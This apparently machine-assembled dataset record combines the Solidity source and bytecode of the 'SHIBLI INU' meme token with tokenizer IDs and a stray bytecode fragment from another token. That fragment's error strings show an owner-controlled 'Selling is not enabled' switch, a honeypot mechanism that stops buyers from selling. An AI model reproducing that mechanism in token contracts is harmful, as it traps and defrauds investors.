1565b6101dd6102b5366004610df3565b61060d565b6101816102c8366004610e0c565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6101dd610301366004610dd8565b61065d565b60606006805461031590610e3f565b80601f016020809104026020016040519081016040528092919081815260200182805461034190610e3f565b801561038e5780601f106103635761010080835404028352916020019161038e565b820191906000526020600020905b81548152906001019060200180831161037157829003601f168201915b5050505050905090565b60006103a53384846107c0565b5060015b92915050565b60006103bc8484846108e4565b6001600160a01b0384166000908152600260209081526040808320338452909152902054828110156104435760405162461bcd60e51b815260206004820152602560248201527f57453a207472616e7366657220616d6f756e74206578636565647320616c6c6f60448201526477616e636560d81b60648201526084015b60405180910390fd5b61045085338584036107c0565b506001949350505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916103a5918590610492908690610e90565b6107c0565b6000546001600160a01b031633146104c15760405162461bcd60e51b815260040161043a90610ea8565b6001600160a01b03919091166000908152600360205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146105165760405162461bcd60e51b815260040161043a90610ea8565b600a805460ff19166001179055565b6000546001600160a01b0316331461054f5760405162461bcd60e51b815260040161043a90610ea8565b6105596000610c3e565b565b60606007805461031590610e3f565b3360009081526002602090815260408083206001600160a01b0386168452909152812054828110156105e95760405162461bcd60e51b815260206004820152602260248201527f57453a2064656372656173656420616c6c6f77616e63652062656c6f77207a65604482015261726f60f01b606482015260840161043a565b6105f633858584036107c0565b5060019392505050565b60006103a53384846108e4565b6000546001600160a01b031633146106375760405162461bcd60e51b815260040161043a90610ea8565b6106576064610651836009546106f890919063ffffffff16565b9061077e565b600b5550565b6000546001600160a01b031633146106875760405162461bcd60e51b815260040161043a90610ea8565b6001600160a01b0381166106ec5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161043a565b6106f581610c3e565b50565b600082610707575060006103a9565b60006107138385610edd565b9050826107208583610efc565b146107775760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161043a565b9392505050565b600061077783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610c8e565b6001600160a01b0383166108225760405162461bcd60e51b8152602060048201526024808201527f42455032303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161043a565b6001600160a01b0382166108835760405162461bcd60e51b815260206004820152602260248201527f42455032303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161043a565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109455760405162461bcd60e51b815260206004820152602260248201527f57453a207472616e736665722066726f6d20746865207a65726f206164647265604482015261737360f01b606482015260840161043a565b6001600160a01b03821661099b5760405162461bcd60e51b815260206004820181905260248201527f57453a207472616e7366657220746f20746865207a65726f2061646472657373604482015260640161043a565b60008111610a015760405162461bcd60e51b815260206004820152602d60248201527f57453a205472616e7366657220616d6f756e74206d757374206265206772656160448201526c746572207468616e207a65726f60981b606482015260840161043a565b6001600160a01b03831660009081526003602052604090205460ff16158015610a4357506001600160a01b03821660009081526003602052604090205460ff16155b15610b3857600b54811115610a9a5760405162461bcd60e51b815260206004820152601760248201527f616d6f756e7420657863656564206d6178206c696d6974000000000000000000604482015260640161043a565b600a5460ff16158015610abb57506000546001600160a01b03848116911614155b8015610ad557506000546001600160a01b03838116911614155b15610b38576005546001600160a01b0383811691161415610b385760405162461bcd60e51b815260206004820152601a60248201527f2057453a53656c6c696e67206973206e6f7420656e61626c6564000000000000604482015260640161043a565b6001600160a01b03831660009081526001602052604090205481811015610bad5760405162461bcd60e51b815260206004820152602360248201527f57453a207472616e7366657220616d6f756e7420657863656564732062616c616044820152626e636560e81b606482015260840161043a565b6001600160a01b03808516600090815260016020526040808220858503905591851681529081208054849290610be4908490610e90565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c3091815260200190565b60405180910390a350505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60008183610caf5760405162461bcd60e51b815260040161043a9190610cc5565b506000610cbc8486610efc565b95945050505050565b600060208083528351808285015260005b81811015610cf257858101830151858201604001528201610cd6565b81811115610d04576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610d3157600080fd5b919050565b60008060408385031215610d4957600080fd5b610d5283610d1a565b946020939093013593505050565b600080600060608486031215610d7557600080fd5b610d7e84610d1a565b9250610d8c60208501610d1a565b9150604084013590509250925092565b60008060408385031215610daf57600080fd5b610db883610d1a565b915060208301358015158114610dcd57600080fd5b809150509250929050565b600060208284031215610dea57600080fd5b61077782610d1a565b600060208284031215610e0557600080fd5b5035919050565b60008060408385031215610e1f57600080fd5b610e2883610d1a565b9150610e3660208401610d1a565b90509250929050565b600181811c90821680610e5357607f821691505b60208210811415610e7457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008219821115610ea357610ea3610e7a565b500190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000816000190483118215151615610ef757610ef7610e7a565b500290565b600082610f1957634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220f23b1693329b6038e8c2ea324eef5c3976fd7c373c4cfa3be9ec1dd1ed8fe58264736f6c63430008090033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2497, 22407, 2683, 2497, 2620, 20958, 2620, 2094, 2692, 2629, 5243, 2497, 21619, 12879, 23632, 2278, 25746, 2509, 2546, 2850, 12521, 2683, 2509, 9818, 2546, 2549, 2063, 2692, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1023, 1025, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 8278, 9413, 2278, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,390
0x96b2928a5c567b1132bb7e6a0f8535ac695aafe2
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SHIBLIinu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; address payable private _feeAddrWallet3; string private constant _name = "SHIBLI INU"; string private constant _symbol = "SHIBLIinu"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x58Db4F21cf7e46f53d1f6a7499EaEe0577a0f2c0); _feeAddrWallet2 = payable(0x58Db4F21cf7e46f53d1f6a7499EaEe0577a0f2c0); _feeAddrWallet3 = payable(0x58Db4F21cf7e46f53d1f6a7499EaEe0577a0f2c0); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (from != address(this)) { _feeAddr1 = 0; _feeAddr2 = 10; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 300000000000000000) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function liftMaxTx() external onlyOwner{ _maxTxAmount = _tTotal; } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount/3); _feeAddrWallet2.transfer(amount/3); _feeAddrWallet3.transfer(amount/3); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 20000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100f75760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb146102ff578063c3c8cd801461033c578063c9567bf914610353578063dd62ed3e1461036a576100fe565b806370a0823114610255578063715018a6146102925780638da5cb5b146102a957806395d89b41146102d4576100fe565b80632ab30838116100c65780632ab30838146101d3578063313ce567146101ea5780635932ead1146102155780636fc3eaec1461023e576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103a7565b6040516101259190612513565b60405180910390f35b34801561013a57600080fd5b506101556004803603810190610150919061212c565b6103e4565b60405161016291906124f8565b60405180910390f35b34801561017757600080fd5b50610180610402565b60405161018d9190612635565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b891906120dd565b610412565b6040516101ca91906124f8565b60405180910390f35b3480156101df57600080fd5b506101e86104eb565b005b3480156101f657600080fd5b506101ff610591565b60405161020c91906126aa565b60405180910390f35b34801561022157600080fd5b5061023c60048036038101906102379190612168565b61059a565b005b34801561024a57600080fd5b5061025361064c565b005b34801561026157600080fd5b5061027c6004803603810190610277919061204f565b6106be565b6040516102899190612635565b60405180910390f35b34801561029e57600080fd5b506102a761070f565b005b3480156102b557600080fd5b506102be610862565b6040516102cb919061242a565b60405180910390f35b3480156102e057600080fd5b506102e961088b565b6040516102f69190612513565b60405180910390f35b34801561030b57600080fd5b506103266004803603810190610321919061212c565b6108c8565b60405161033391906124f8565b60405180910390f35b34801561034857600080fd5b506103516108e6565b005b34801561035f57600080fd5b50610368610960565b005b34801561037657600080fd5b50610391600480360381019061038c91906120a1565b610eba565b60405161039e9190612635565b60405180910390f35b60606040518060400160405280600a81526020017f534849424c4920494e5500000000000000000000000000000000000000000000815250905090565b60006103f86103f1610f41565b8484610f49565b6001905092915050565b6000670de0b6b3a7640000905090565b600061041f848484611114565b6104e08461042b610f41565b6104db85604051806060016040528060288152602001612b8460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610491610f41565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113f09092919063ffffffff16565b610f49565b600190509392505050565b6104f3610f41565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610580576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610577906125b5565b60405180910390fd5b670de0b6b3a7640000601181905550565b60006009905090565b6105a2610f41565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461062f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610626906125b5565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661068d610f41565b73ffffffffffffffffffffffffffffffffffffffff16146106ad57600080fd5b60004790506106bb81611454565b50565b6000610708600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115b6565b9050919050565b610717610f41565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079b906125b5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f534849424c49696e750000000000000000000000000000000000000000000000815250905090565b60006108dc6108d5610f41565b8484611114565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610927610f41565b73ffffffffffffffffffffffffffffffffffffffff161461094757600080fd5b6000610952306106be565b905061095d81611624565b50565b610968610f41565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ec906125b5565b60405180910390fd5b601060149054906101000a900460ff1615610a45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3c90612615565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ad430600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000610f49565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b1a57600080fd5b505afa158015610b2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b529190612078565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610bb457600080fd5b505afa158015610bc8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bec9190612078565b6040518363ffffffff1660e01b8152600401610c09929190612445565b602060405180830381600087803b158015610c2357600080fd5b505af1158015610c37573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c5b9190612078565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ce4306106be565b600080610cef610862565b426040518863ffffffff1660e01b8152600401610d1196959493929190612497565b6060604051808303818588803b158015610d2a57600080fd5b505af1158015610d3e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d6391906121ba565b5050506001601060166101000a81548160ff0219169083151502179055506001601060176101000a81548160ff02191690831515021790555066470de4df8200006011819055506001601060146101000a81548160ff021916908315150217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610e6492919061246e565b602060405180830381600087803b158015610e7e57600080fd5b505af1158015610e92573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb69190612191565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb0906125f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611029576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102090612555565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111079190612635565b60405180910390a3505050565b60008111611157576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114e906125d5565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156111ae57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146113e0576000600a81905550600a600b81905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561129c5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156112f25750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561130a5750601060179054906101000a900460ff165b1561131f5760115481111561131e57600080fd5b5b600061132a306106be565b9050601060159054906101000a900460ff161580156113975750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156113af5750601060169054906101000a900460ff165b156113de576113bd81611624565b6000479050670429d069189e00008111156113dc576113db47611454565b5b505b505b6113eb83838361191e565b505050565b6000838311158290611438576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142f9190612513565b60405180910390fd5b506000838561144791906127fb565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc60038361149d9190612770565b9081150290604051600060405180830381858888f193505050501580156114c8573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6003836115129190612770565b9081150290604051600060405180830381858888f1935050505015801561153d573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6003836115879190612770565b9081150290604051600060405180830381858888f193505050501580156115b2573d6000803e3d6000fd5b5050565b60006008548211156115fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f490612535565b60405180910390fd5b600061160761192e565b905061161c818461195990919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611682577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156116b05781602001602082028036833780820191505090505b50905030816000815181106116ee577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561179057600080fd5b505afa1580156117a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117c89190612078565b81600181518110611802577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061186930600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f49565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016118cd959493929190612650565b600060405180830381600087803b1580156118e757600080fd5b505af11580156118fb573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b6119298383836119a3565b505050565b600080600061193b611b6e565b91509150611952818361195990919063ffffffff16565b9250505090565b600061199b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611bcd565b905092915050565b6000806000806000806119b587611c30565b955095509550955095509550611a1386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c9890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611aa885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ce290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611af481611d40565b611afe8483611dfd565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611b5b9190612635565b60405180910390a3505050505050505050565b600080600060085490506000670de0b6b3a76400009050611ba2670de0b6b3a764000060085461195990919063ffffffff16565b821015611bc057600854670de0b6b3a7640000935093505050611bc9565b81819350935050505b9091565b60008083118290611c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0b9190612513565b60405180910390fd5b506